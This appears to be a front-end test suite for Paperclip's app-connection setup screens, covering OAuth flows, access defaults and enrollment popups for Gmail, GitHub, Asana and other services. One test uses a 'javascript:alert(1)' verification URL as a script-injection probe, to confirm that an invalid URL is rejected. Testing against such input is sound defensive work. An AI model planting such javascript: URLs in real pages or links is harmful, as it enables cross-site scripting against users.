||
const identityChoices = () => {
|
||
const radios = Array.from(
|
||
document.body.querySelectorAll<HTMLButtonElement>('[role="radio"]'),
|
||
);
|
||
return {
|
||
justMe: radios.find((r) => r.textContent?.includes("Just me")),
|
||
wholeOrg: radios.find((r) => r.textContent?.includes("Any human in the organization")),
|
||
};
|
||
};
|
||
|
||
// --- API-key-only method: shared by default, personal still offered ------
|
||
let root = await render();
|
||
await act(async () => {
|
||
buttonContaining("PostHog")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
await openAccessAdvanced();
|
||
|
||
const github = identityChoices();
|
||
expect(github.wholeOrg?.getAttribute("aria-checked")).toBe("true");
|
||
expect(github.justMe?.getAttribute("aria-checked")).toBe("false");
|
||
// Present, and genuinely selectable — not the disabled-with-reason state.
|
||
expect(github.justMe).toBeTruthy();
|
||
expect(github.justMe?.disabled).toBe(false);
|
||
expect(document.body.textContent).not.toContain(
|
||
"This connection method supports a shared organization credential only.",
|
||
);
|
||
|
||
await act(async () => {
|
||
github.justMe?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await act(async () => {
|
||
Array.from(document.body.querySelectorAll('[role="radio"]'))
|
||
.find((r) => r.textContent?.includes("Any agent"))
|
||
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
const keyField = container.querySelector<HTMLInputElement>("input[type=password]");
|
||
await act(async () => setInputValue(keyField!, "posthog-personal-token"));
|
||
await flushReact();
|
||
await act(async () => {
|
||
buttonByText("Connect")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
// The load-bearing assertion: an API-key-only method reaches the server as
|
||
// a personal grant. A disabled "Just me" would make this unreachable.
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
expect(connectAppMock.mock.calls[0]?.[1]).toMatchObject({
|
||
galleryKey: "posthog",
|
||
grantKind: "user",
|
||
});
|
||
|
||
// --- Same gallery, identity-bearing method: company by default -----------
|
||
await act(async () => root.unmount());
|
||
document.body.innerHTML = "";
|
||
container = document.createElement("div");
|
||
document.body.appendChild(container);
|
||
mockParams.appKey = "posthog";
|
||
mockSearch.value = "";
|
||
root = await render();
|
||
await openAccessAdvanced();
|
||
|
||
const posthog = identityChoices();
|
||
expect(posthog.justMe?.getAttribute("aria-checked")).toBe("false");
|
||
expect(posthog.wholeOrg?.getAttribute("aria-checked")).toBe("true");
|
||
expect(posthog.justMe?.disabled).toBe(false);
|
||
expect(posthog.wholeOrg?.disabled).toBe(false);
|
||
});
|
||
|
||
it("shows Gmail's instance configuration notice instead of a dead connect path", async () => {
|
||
const reason = "Configure Paperclip ID before connecting Gmail.";
|
||
listGalleryMock.mockResolvedValue({
|
||
apps: [{ ...GMAIL, availability: { available: false, reason } }],
|
||
});
|
||
await render();
|
||
|
||
const gmail = buttonContaining("Gmail");
|
||
expect(gmail?.disabled).toBe(true);
|
||
expect(gmail?.textContent).toContain(reason);
|
||
expect(gmail?.textContent).not.toContain("Coming soon");
|
||
});
|
||
|
||
it("defaults Asana to managed sign-in and allows a custom app before enrollment", async () => {
|
||
mockSearch.value = "source=asana";
|
||
listGalleryMock.mockResolvedValue({ apps: [{ ...ASANA, methods: ASANA.methods.filter((method) => !method.oauthStrategy), ownershipAvailability: {
|
||
...ASANA.ownershipAvailability, platform_shared: false,
|
||
} }] });
|
||
getCloudConnectorEnrollmentMock.mockResolvedValue({ configured: false, status: "not_configured", origins: [] });
|
||
await render();
|
||
await passAccessStep();
|
||
expect(container.textContent).toContain("Connect with Paperclip");
|
||
await act(async () => { buttonByText("Use your own Asana OAuth app")!.click(); });
|
||
await flushReact();
|
||
expect(container.textContent).toContain("Your OAuth app");
|
||
expect(container.textContent).toContain("API apps do not work with Asana MCP");
|
||
expect(container.textContent).not.toContain("You must connect this instance");
|
||
await act(async () => { setInputValue(container.querySelector<HTMLInputElement>("#curated-oauth-client-id")!, "asana-client"); });
|
||
await flushReact();
|
||
expect(buttonByText("Continue to sign in")?.disabled).toBe(true);
|
||
expect(startCloudConnectorEnrollmentMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it.each([true, false])("requires the acting user's saved Asana client secret for reuse (%s)", async (hasSavedOAuthClientSecret) => {
|
||
mockSearch.value = "source=asana&resume=conn-asana";
|
||
listGalleryMock.mockResolvedValue({ apps: [ASANA] });
|
||
listApplicationsMock.mockResolvedValue({ applications: [{ id: "app-asana", status: "draft", metadata: { sourceTemplateKey: "asana" } }] });
|
||
listConnectionsMock.mockResolvedValue({ connections: [{
|
||
id: "conn-asana", applicationId: "app-asana", name: "Asana", authKind: "oauth",
|
||
credentialPolicy: "per_user", status: "draft", credentialSecretRefs: [], hasSavedOAuthClientSecret,
|
||
config: { sourceTemplateKey: "asana", connectionMethodKey: "mcp-own-oauth", oauth: { clientId: "saved-asana-client", clientRegistrationSource: "manual" } },
|
||
transportConfig: {},
|
||
}] });
|
||
await render();
|
||
await flushReact();
|
||
expect(container.querySelector<HTMLInputElement>("#curated-oauth-client-id")?.value).toBe("saved-asana-client");
|
||
expect(buttonByText("Continue to sign in")?.disabled).toBe(!hasSavedOAuthClientSecret);
|
||
await act(async () => { setInputValue(container.querySelector<HTMLInputElement>("#curated-oauth-client-id")!, "different-client"); });
|
||
await flushReact();
|
||
expect(buttonByText("Continue to sign in")?.disabled).toBe(true);
|
||
});
|
||
|
||
it("collects customer-owned OAuth client details for a curated manual OAuth app", async () => {
|
||
listGalleryMock.mockResolvedValue({ apps: [BOX] });
|
||
mockParams.appKey = "box";
|
||
await render();
|
||
await passAccessStep();
|
||
|
||
expect(container.textContent).toContain("needs its own OAuth app");
|
||
expect(container.textContent).toContain("Open Box app settings");
|
||
// The extra work reads as the provider's limitation, not as Box's normal path.
|
||
expect(container.textContent).toContain(
|
||
"does not let Paperclip register itself automatically",
|
||
);
|
||
expect(container.textContent).toContain("Paperclip callback URL");
|
||
expect(container.textContent).toContain(
|
||
"http://localhost:3000/api/tools/oauth/callback",
|
||
);
|
||
expect(buttonByText("Continue to sign in")?.disabled).toBe(true);
|
||
|
||
const clientId = container.querySelector<HTMLInputElement>("#curated-oauth-client-id")!;
|
||
const clientSecret = container.querySelector<HTMLInputElement>("#curated-oauth-client-secret")!;
|
||
await act(async () => {
|
||
setInputValue(clientId, "box-client-id");
|
||
setInputValue(clientSecret, "box-client-secret");
|
||
});
|
||
await flushReact();
|
||
expect(buttonByText("Continue to sign in")?.disabled).toBe(false);
|
||
|
||
await act(async () => {
|
||
buttonByText("Continue to sign in")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({
|
||
galleryKey: "box",
|
||
connectionMethodKey: "mcp-own-oauth",
|
||
oauthClient: {
|
||
clientId: "box-client-id",
|
||
clientSecret: "box-client-secret",
|
||
},
|
||
}));
|
||
});
|
||
|
||
it("connects Asana through the shared app without client credentials", async () => {
|
||
listGalleryMock.mockResolvedValue({ apps: [ASANA_MANAGED] });
|
||
mockParams.appKey = "asana";
|
||
await render();
|
||
await flushReact();
|
||
|
||
expect(container.textContent).not.toContain("needs its own OAuth app");
|
||
expect(container.querySelector("#curated-oauth-client-id")).toBeNull();
|
||
const primary = buttonByText("Continue to sign in");
|
||
expect(primary).toBeTruthy();
|
||
expect(primary?.disabled).toBe(false);
|
||
await act(async () => { primary!.click(); });
|
||
await flushReact();
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({
|
||
galleryKey: "asana", connectionMethodKey: "managed", grantKind: "user",
|
||
}));
|
||
});
|
||
|
||
it("allows a custom Asana app from the shared sign-in setup", async () => {
|
||
listGalleryMock.mockResolvedValue({ apps: [ASANA_MANAGED] });
|
||
mockParams.appKey = "asana";
|
||
connectAppMock.mockResolvedValueOnce({
|
||
connectionId: "conn-asana",
|
||
application: { id: "app-asana", name: "Asana" },
|
||
connection: { id: "conn-asana" },
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
auth: { kind: "oauth", startUrl: "https://app.asana.com/-/oauth_authorize?state=opaque" },
|
||
});
|
||
await render();
|
||
await flushReact();
|
||
expect(container.querySelector("#curated-oauth-client-id")).toBeNull();
|
||
|
||
await openAccessAdvanced();
|
||
await flushReact();
|
||
const customApp = buttonByText("Use your own Asana OAuth app");
|
||
expect(customApp).toBeTruthy();
|
||
await act(async () => { customApp!.dispatchEvent(new MouseEvent("click", { bubbles: true })); });
|
||
await flushReact();
|
||
|
||
const clientId = container.querySelector<HTMLInputElement>("#curated-oauth-client-id");
|
||
const clientSecret = container.querySelector<HTMLInputElement>("#curated-oauth-client-secret");
|
||
expect(clientId).toBeTruthy();
|
||
expect(clientSecret).toBeTruthy();
|
||
await act(async () => {
|
||
setInputValue(clientId!, "asana-own-client");
|
||
setInputValue(clientSecret!, "asana-own-secret");
|
||
});
|
||
await flushReact();
|
||
await act(async () => { buttonByText("Continue to sign in")!.click(); });
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenLastCalledWith("company-1", expect.objectContaining({
|
||
galleryKey: "asana", connectionMethodKey: "mcp-own-oauth",
|
||
oauthClient: { clientId: "asana-own-client", clientSecret: "asana-own-secret" },
|
||
}));
|
||
});
|
||
|
||
it("submits the Postman access mode selected on the setup screen", async () => {
|
||
listGalleryMock.mockResolvedValue({ apps: [POSTMAN] });
|
||
mockParams.appKey = "postman";
|
||
connectAppMock.mockResolvedValueOnce({
|
||
connectionId: "conn-postman",
|
||
application: { id: "app-postman", name: "Postman" },
|
||
connection: { id: "conn-postman" },
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
auth: { kind: "oauth", startUrl: "https://oauth.pstmn.io/authorize?state=opaque" },
|
||
});
|
||
|
||
await render();
|
||
await openAccessAdvanced();
|
||
|
||
const full = radioContaining("Full");
|
||
const code = radioContaining("Code");
|
||
expect(full).toBeTruthy();
|
||
expect(code).toBeTruthy();
|
||
expect(full?.getAttribute("aria-checked")).toBe("true");
|
||
await act(async () => {
|
||
code?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
expect(code?.getAttribute("aria-checked")).toBe("true");
|
||
await act(async () => {
|
||
full?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
expect(full?.getAttribute("aria-checked")).toBe("true");
|
||
expect(radioContaining("US · Browser sign-in")?.getAttribute("aria-checked")).toBe("true");
|
||
|
||
await act(async () => {
|
||
buttonByText("Continue to sign in")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({
|
||
galleryKey: "postman",
|
||
connectionMethodKey: "mcp-oauth-full",
|
||
}));
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith(
|
||
"https://oauth.pstmn.io/authorize?state=opaque",
|
||
);
|
||
});
|
||
|
||
it("opens a manual OAuth app from the same source deep link Browse uses", async () => {
|
||
listGalleryMock.mockResolvedValue({ apps: [ASANA] });
|
||
mockParams.appKey = undefined;
|
||
mockSearch.value = "source=asana";
|
||
|
||
await render();
|
||
await openAccessAdvanced();
|
||
|
||
expect(document.body.textContent).toContain("Which humans can use this credential?");
|
||
expect(document.body.textContent).toContain("Which agents can use this connection?");
|
||
expect(document.body.textContent).not.toContain("Pick the app you want your agents to use.");
|
||
expect(mockNavigate).not.toHaveBeenCalledWith("/apps/connect", { replace: true });
|
||
});
|
||
|
||
it("starts a selected app deep link at step one of its two-step setup", async () => {
|
||
mockSearch.value = "source=gmail";
|
||
listGalleryMock.mockResolvedValue({ apps: [GMAIL] });
|
||
|
||
await render();
|
||
|
||
// PAP-659: a selected app has one screen, so no stepper at all.
|
||
expect(document.body.textContent).not.toContain("Step 1 of 2");
|
||
expect(document.body.textContent).not.toContain("Pick app ·");
|
||
expect(document.body.textContent).toContain("Connect Gmail");
|
||
});
|
||
|
||
it("opens a brokered Gmail deep link at the access step", async () => {
|
||
mockParams.appKey = "gmail";
|
||
mockSearch.value = "byo=1&appKey=gmail&stage=access";
|
||
listGalleryMock.mockResolvedValue({ apps: [GMAIL] });
|
||
|
||
await render();
|
||
|
||
// PAP-659: a selected app is one screen, so there is no stepper and no
|
||
// Access stage to deep-link into; a legacy stage=access URL lands here.
|
||
expect(document.body.textContent).not.toContain("Step 1 of 2");
|
||
expect(document.body.textContent).not.toContain("Pick app ·");
|
||
expect(document.body.textContent).toContain("Connects for everyone in your organization");
|
||
await openAccessAdvanced();
|
||
expect(document.body.textContent).toContain("Which humans can use this credential?");
|
||
expect(document.body.textContent).toContain("Just me");
|
||
expect(mockNavigate).not.toHaveBeenCalledWith("/apps/connect", { replace: true });
|
||
});
|
||
|
||
it("prompts for one-time Cloud registration inside Gmail when managed methods are not yet advertised", async () => {
|
||
mockParams.appKey = "gmail";
|
||
listGalleryMock.mockResolvedValue({
|
||
apps: [{
|
||
...GMAIL,
|
||
methods: GMAIL.methods.filter((method) => !method.oauthStrategy),
|
||
ownershipAvailability: { platform_shared: false, customer: true, dcr: true },
|
||
}],
|
||
});
|
||
getCloudConnectorEnrollmentMock.mockResolvedValueOnce({
|
||
configured: false,
|
||
status: "not_configured",
|
||
brokerBaseUrl: "https://my-staging.paperclip.app",
|
||
instanceId: null,
|
||
environment: "staging",
|
||
origins: [],
|
||
});
|
||
|
||
await render();
|
||
await passAccessStep();
|
||
|
||
expect(container.textContent).toContain("Connect with Paperclip");
|
||
expect(container.textContent).toContain(
|
||
"You must connect this instance to Paperclip to connect to Gmail (you only need to do this once).",
|
||
);
|
||
expect(buttonByText("Connect with Paperclip")?.closest(".rounded-xl")?.classList.contains("border-border")).toBe(true);
|
||
expect(container.textContent).not.toContain("Required once for managed Google sign-in.");
|
||
expect(container.textContent).not.toContain("needs its own OAuth app");
|
||
|
||
await act(async () => {
|
||
buttonByText("Connect with Paperclip")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(startCloudConnectorEnrollmentMock).toHaveBeenCalledWith(
|
||
"company-1",
|
||
"Paperclip",
|
||
"/apps/connect?source=gmail&stage=setup",
|
||
);
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith(
|
||
"https://my-staging.paperclip.app/connections/enroll?id=enroll-test",
|
||
);
|
||
});
|
||
|
||
it.each([false, true])("retains task access and interaction through enrollment (popup blocked: %s)", async (popupBlocked) => {
|
||
const client = new QueryClient({ defaultOptions: { queries: { retry: false } } });
|
||
const popup = { closed: false, location: { assign: vi.fn() }, focus: vi.fn(), close: vi.fn() };
|
||
const open = vi.spyOn(window, "open").mockReturnValue(popupBlocked ? null : popup as unknown as Window);
|
||
listGalleryMock.mockResolvedValue({ apps: [{
|
||
...GMAIL, methods: GMAIL.methods.filter((method) => !method.oauthStrategy),
|
||
ownershipAvailability: { platform_shared: false, customer: true, dcr: true },
|
||
}] });
|
||
getCloudConnectorEnrollmentMock.mockResolvedValue({ status: "not_configured" });
|
||
await render(client, false, <ConnectionSetupFlow host="dialog" serviceSlug="gmail" interactionId="intent-1" requestedAgentId="agent-1" />);
|
||
await passAccessStep();
|
||
await act(async () => buttonByText("Connect with Paperclip")?.click());
|
||
await flushReact();
|
||
expect(open).toHaveBeenCalled();
|
||
if (popupBlocked) {
|
||
expect(popup.location.assign).not.toHaveBeenCalled();
|
||
} else {
|
||
expect(popup.location.assign).toHaveBeenCalledWith("https://my-staging.paperclip.app/connections/enroll?id=enroll-test");
|
||
}
|
||
const fallback = container.querySelector<HTMLAnchorElement>('a[target="_blank"]');
|
||
expect(fallback?.textContent).toBe("Open authorization in a new tab");
|
||
expect(fallback?.href).toBe("https://my-staging.paperclip.app/connections/enroll?id=enroll-test");
|
||
expect(navigateTopLevelMock).not.toHaveBeenCalled();
|
||
expect(startCloudConnectorEnrollmentMock).toHaveBeenCalledWith("company-1", "Paperclip", "/apps/connect?source=gmail&stage=setup&intent=intent-1&enrollment_host=dialog");
|
||
listGalleryMock.mockResolvedValue({ apps: [{ ...GMAIL, ownershipAvailability: { ...GMAIL.ownershipAvailability, platform_shared: true } }] });
|
||
getCloudConnectorEnrollmentMock.mockResolvedValue({ status: "active" });
|
||
await act(async () => { await client.invalidateQueries({ queryKey: ["cloud-connector", "enrollment"] }); });
|
||
await flushReact();
|
||
await flushReact();
|
||
if (!popupBlocked) expect(popup.close).toHaveBeenCalled();
|
||
await openAccessAdvanced();
|
||
expect(container.textContent).toContain("What should Paperclip be able to do?");
|
||
connectAppMock.mockResolvedValue({ connectionId: "gmail-1", connection: { id: "gmail-1", credentialPolicy: "per_user" }, auth: { kind: "oauth", startUrl: "https://example.test/unbound" } });
|
||
await act(async () => buttonByText("Continue to sign in")?.click());
|
||
await flushReact();
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({ grantKind: "user" }));
|
||
expect(startOAuthMock).toHaveBeenCalledWith("gmail-1", { asCurrentUser: true, interactionId: "intent-1" });
|
||
expect(putConnectionInstallsMock).not.toHaveBeenCalled();
|
||
open.mockRestore();
|
||
});
|
||
|
||
it.each(["request", "missing-url", "invalid-url"])("closes the reserved enrollment popup after %s failure", async (failure) => {
|
||
const popup = { closed: false, location: { assign: vi.fn() }, focus: vi.fn(), close: vi.fn() };
|
||
vi.spyOn(window, "open").mockReturnValue(popup as unknown as Window);
|
||
listGalleryMock.mockResolvedValue({ apps: [{
|
||
...GMAIL, methods: GMAIL.methods.filter((method) => !method.oauthStrategy),
|
||
ownershipAvailability: { platform_shared: false, customer: true, dcr: true },
|
||
}] });
|
||
getCloudConnectorEnrollmentMock.mockResolvedValue({ status: "not_configured" });
|
||
if (failure === "request") {
|
||
startCloudConnectorEnrollmentMock.mockRejectedValue(new Error("Enrollment unavailable"));
|
||
} else {
|
||
startCloudConnectorEnrollmentMock.mockResolvedValue({
|
||
status: "pending",
|
||
verificationUrl: failure === "missing-url" ? undefined : "javascript:alert(1)",
|
||
});
|
||
}
|
||
await render(undefined, false, <ConnectionSetupFlow host="dialog" serviceSlug="gmail" interactionId="intent-1" requestedAgentId="agent-1" />);
|
||
await passAccessStep();
|
||
await act(async () => buttonByText("Connect with Paperclip")?.click());
|
||
await flushReact();
|
||
expect(popup.close).toHaveBeenCalledOnce();
|
||
expect(popup.location.assign).not.toHaveBeenCalled();
|
||
expect(navigateTopLevelMock).not.toHaveBeenCalled();
|
||
expect(container.textContent).not.toContain("Finish authorization in the opened window");
|
||
});
|
||
|
||
it("binds OAuth to the task even when setup resumes in the page host", async () => {
|
||
mockSearch.value = "source=gmail&stage=setup&intent=intent-1";
|
||
listGalleryMock.mockResolvedValue({ apps: [{ ...GMAIL, ownershipAvailability: { ...GMAIL.ownershipAvailability, platform_shared: true } }] });
|
||
connectAppMock.mockResolvedValue({ connectionId: "gmail-1", connection: { id: "gmail-1", credentialPolicy: "shared" }, auth: { kind: "oauth", startUrl: "https://example.test/unbound" } });
|
||
await render();
|
||
await act(async () => buttonByText("Continue to sign in")?.click());
|
||
await flushReact();
|
||
expect(startOAuthMock).toHaveBeenCalledWith("gmail-1", { asCurrentUser: false, interactionId: "intent-1" });
|
||
expect(navigateTopLevelMock).not.toHaveBeenCalledWith("https://example.test/unbound");
|
||
});
|
||
|
||
it.each(["2020-01-01T00:00:00.000Z", "2099-01-01T00:00:00.000Z"])(
|
||
"revalidates a cached pending enrollment before continuing (expiry %s)",
|
||
async (expiresAt) => {
|
||
mockSearch.value = "source=github&stage=setup";
|
||
listGalleryMock.mockResolvedValue({
|
||
apps: [{
|
||
...GITHUB,
|
||
methods: GITHUB.methods.filter((method) => !method.oauthStrategy),
|
||
ownershipAvailability: { platform_shared: false, customer: true, dcr: true },
|
||
}],
|
||
});
|
||
getCloudConnectorEnrollmentMock.mockResolvedValue({
|
||
configured: false,
|
||
status: "pending",
|
||
brokerBaseUrl: "https://my-staging.paperclip.app",
|
||
instanceId: "inst-test",
|
||
environment: "staging",
|
||
origins: [],
|
||
verificationUrl: "https://my-staging.paperclip.app/connections/enroll?id=cached",
|
||
expiresAt,
|
||
});
|
||
|
||
await render();
|
||
await act(async () => {
|
||
buttonByText("Continue")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(startCloudConnectorEnrollmentMock).toHaveBeenCalledWith(
|
||
"company-1", "Paperclip", "/apps/connect?source=github&stage=setup",
|
||
);
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith(
|
||
"https://my-staging.paperclip.app/connections/enroll?id=enroll-test",
|
||
);
|
||
expect(navigateTopLevelMock).not.toHaveBeenCalledWith(
|
||
"https://my-staging.paperclip.app/connections/enroll?id=cached",
|
||
);
|
||
},
|
||
);
|
||
|
||
it("labels GitHub's setup transition as the provider handoff it now is", async () => {
|
||
mockSearch.value = "source=github";
|
||
listGalleryMock.mockResolvedValue({ apps: [GITHUB_MANAGED] });
|
||
|
||
await render();
|
||
|
||
// PAP-659: the screen that used to precede the handoff is gone, so the one
|
||
// primary action names the provider instead of a generic "Continue".
|
||
expect(buttonByText("Continue")).toBeUndefined();
|
||
const handoff = buttonByText("Continue to GitHub");
|
||
expect(handoff).toBeDefined();
|
||
expect(handoff?.disabled).toBe(false);
|
||
|
||
await openAccessAdvanced();
|
||
expect(container.textContent).toContain("How do you want to connect?");
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("keeps provider-specific wording and the handoff cue for direct OAuth", async () => {
|
||
mockSearch.value = "source=notion";
|
||
listGalleryMock.mockResolvedValue({ apps: [NOTION] });
|
||
|
||
await render();
|
||
|
||
const continueButton = buttonByText("Continue to Notion");
|
||
expect(continueButton).toBeDefined();
|
||
expect(continueButton?.querySelector(".lucide-arrow-up-right")).not.toBeNull();
|
||
});
|
||
|
||
it("keeps GitHub's personal identity defaults while its managed method awaits enrollment", async () => {
|
||
mockParams.appKey = "github";
|
||
listGalleryMock.mockResolvedValue({
|
||
apps: [{
|
||
...GITHUB,
|
||
methods: GITHUB.methods.filter((method) => !method.oauthStrategy),
|
||
ownershipAvailability: { platform_shared: false, customer: true, dcr: true },
|
||
}],
|
||
});
|
||
getCloudConnectorEnrollmentMock.mockResolvedValueOnce({
|
||
configured: false,
|
||
status: "not_configured",
|
||
brokerBaseUrl: "https://my-staging.paperclip.app",
|
||
instanceId: null,
|
||
environment: "staging",
|
||
origins: [],
|
||
});
|
||
|
||
await render();
|
||
|
||
expect(container.textContent).toContain("Connects as you");
|
||
await openAccessAdvanced();
|
||
expect(radioContaining("My GitHub account")?.getAttribute("aria-checked")).toBe("true");
|
||
expect(radioContaining("Any agent")?.getAttribute("aria-checked")).toBe("true");
|
||
expect(container.textContent).toContain("Which agents may use your GitHub when you’re responsible?");
|
||
// Enrolment is the screen; its own action is the only primary one.
|
||
expect(buttonByText("Connect with Paperclip")).toBeDefined();
|
||
expect(buttonByText("Continue to GitHub")).toBeUndefined();
|
||
|
||
await passAccessStep();
|
||
|
||
expect(container.textContent).toContain("Connect with Paperclip");
|
||
expect(container.textContent).not.toContain("GitHub token");
|
||
});
|
||
|
||
it("restores the setup step after the one-time enrollment callback", async () => {
|
||
mockSearch.value = "source=github&stage=setup&cloud_connector=enrolled";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [GITHUB_MANAGED] });
|
||
|
||
await render();
|
||
|
||
expect(container.textContent).toContain("Continue to GitHub");
|
||
expect(container.textContent).not.toContain("Connect GitHub as");
|
||
expect(container.textContent).not.toContain("Connect with Paperclip");
|
||
});
|
||
|
||
it("explains unavailable GitHub sign-in without silently switching to a PAT", async () => {
|
||
mockSearch.value = "source=github&stage=setup&cloud_connector=enrolled";
|
||
listGalleryMock.mockResolvedValueOnce({
|
||
apps: [{
|
||
...GITHUB,
|
||
methods: GITHUB.methods.filter((method) => !method.oauthStrategy),
|
||
ownershipAvailability: { platform_shared: false, customer: true, dcr: true },
|
||
}],
|
||
});
|
||
|
||
await render();
|
||
|
||
expect(container.textContent).not.toContain("Chat with an agent");
|
||
expect(container.textContent).not.toContain("GitHub App ID");
|
||
expect(container.textContent).toContain("GitHub sign-in is unavailable");
|
||
expect(container.textContent).not.toContain("Your GitHub key");
|
||
expect(container.querySelector('input[type="password"]')).toBeNull();
|
||
expect(buttonByText("Try again")?.disabled).toBe(false);
|
||
|
||
listGalleryMock.mockResolvedValue({ apps: [GITHUB_MANAGED] });
|
||
await act(async () => buttonByText("Try again")!.click());
|
||
await flushReact();
|
||
expect(container.textContent).toContain("Continue to GitHub");
|
||
expect(container.textContent).not.toContain("GitHub sign-in is unavailable");
|
||
});
|
||
|
||
it("keeps GitHub sign-in intent when enrollment recovery reveals an unavailable profile", async () => {
|
||
mockSearch.value = "source=github&stage=setup&cloud_connector=enrolled";
|
||
listGalleryMock.mockResolvedValueOnce({
|
||
apps: [{
|
||
...GITHUB,
|
||
methods: GITHUB.methods.filter((method) => !method.oauthStrategy),
|
||
ownershipAvailability: { platform_shared: false, customer: true, dcr: true },
|
||
}],
|
||
});
|
||
getCloudConnectorEnrollmentMock
|
||
.mockRejectedValueOnce(new Error("Cloud unavailable"))
|
||
.mockResolvedValueOnce({
|
||
configured: true,
|
||
status: "active",
|
||
brokerBaseUrl: "https://my-staging.paperclip.app",
|
||
instanceId: "inst-test",
|
||
environment: "staging",
|
||
origins: ["https://paperclip.example.test"],
|
||
});
|
||
const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
|
||
|
||
await render(queryClient);
|
||
|
||
expect(container.textContent).toContain("Paperclip couldn’t check Cloud registration. Try again.");
|
||
expect(container.textContent).not.toContain("Your GitHub key");
|
||
|
||
await act(async () => {
|
||
await queryClient.invalidateQueries({ queryKey: ["cloud-connector", "enrollment"] });
|
||
});
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("GitHub sign-in is unavailable");
|
||
expect(container.textContent).not.toContain("Your GitHub key");
|
||
expect(buttonByText("Try again")?.disabled).toBe(false);
|
||
});
|
||
|
||
it("preserves a dedicated agent identity across the full-page enrollment callback", async () => {
|
||
mockParams.appKey = "github";
|
||
listGalleryMock.mockResolvedValue({
|
||
apps: [{
|
||
...GITHUB,
|
||
methods: GITHUB.methods.filter((method) => !method.oauthStrategy),
|
||
ownershipAvailability: { platform_shared: false, customer: true, dcr: true },
|
||
}],
|
||
capabilities: {
|
||
canCreateOrganizationGrant: true,
|
||
organizationGrantReason: null,
|
||
canSetCompanyInstall: true,
|
||
companyInstallReason: null,
|
||
},
|
||
});
|
||
getCloudConnectorEnrollmentMock.mockResolvedValue({
|
||
configured: false,
|
||
status: "not_configured",
|
||
brokerBaseUrl: "https://my-staging.paperclip.app",
|
||
instanceId: null,
|
||
environment: "staging",
|
||
origins: [],
|
||
});
|
||
|
||
await render();
|
||
await openAccessAdvanced();
|
||
await act(async () => {
|
||
radioContaining("A dedicated account for an agent")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await act(async () => {
|
||
buttonByText("Select agents")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await act(async () => {
|
||
document.body.querySelector<HTMLElement>('[aria-label="Allow Ada"]')
|
||
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await act(async () => {
|
||
buttonByText("Connect with Paperclip")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(JSON.parse(window.sessionStorage.getItem(
|
||
"paperclip.connector-enrollment-access:github",
|
||
) ?? "null")).toEqual({
|
||
companyId: "company-1",
|
||
grantKind: "agent",
|
||
installChoice: "specific",
|
||
agentIds: ["agent-1"],
|
||
});
|
||
|
||
await act(async () => mountedRoot?.unmount());
|
||
mountedRoot = null;
|
||
container.innerHTML = "";
|
||
mockParams.appKey = undefined;
|
||
mockSearch.value = "source=github&stage=setup&cloud_connector=enrolled";
|
||
mockCompany.value = { selectedCompanyId: undefined, selectedCompany: null };
|
||
listGalleryMock.mockResolvedValue({ apps: [GITHUB_MANAGED] });
|
||
getCloudConnectorEnrollmentMock.mockResolvedValue({
|
||
configured: true,
|
||
status: "active",
|
||
brokerBaseUrl: "https://my-staging.paperclip.app",
|
||
instanceId: "inst-test",
|
||
environment: "staging",
|
||
origins: ["https://paperclip.example.test"],
|
||
});
|
||
|
||
const coldLoadClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
|
||
await render(coldLoadClient);
|
||
|
||
expect(window.sessionStorage.getItem("paperclip.connector-enrollment-access:github")).toBeNull();
|
||
mockCompany.value = {
|
||
selectedCompanyId: "company-1",
|
||
selectedCompany: { id: "company-1", name: "Paperclip" },
|
||
};
|
||
await act(async () => {
|
||
mountedRoot?.render(
|
||
<QueryClientProvider client={coldLoadClient}>
|
||
<TooltipProvider><AppsConnect /></TooltipProvider>
|
||
</QueryClientProvider>,
|
||
);
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("Connects as a dedicated agent account");
|
||
expect(window.sessionStorage.getItem(
|
||
"paperclip.connector-enrollment-access:github",
|
||
)).toBeNull();
|
||
await act(async () => {
|
||
buttonByText("Continue to GitHub")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
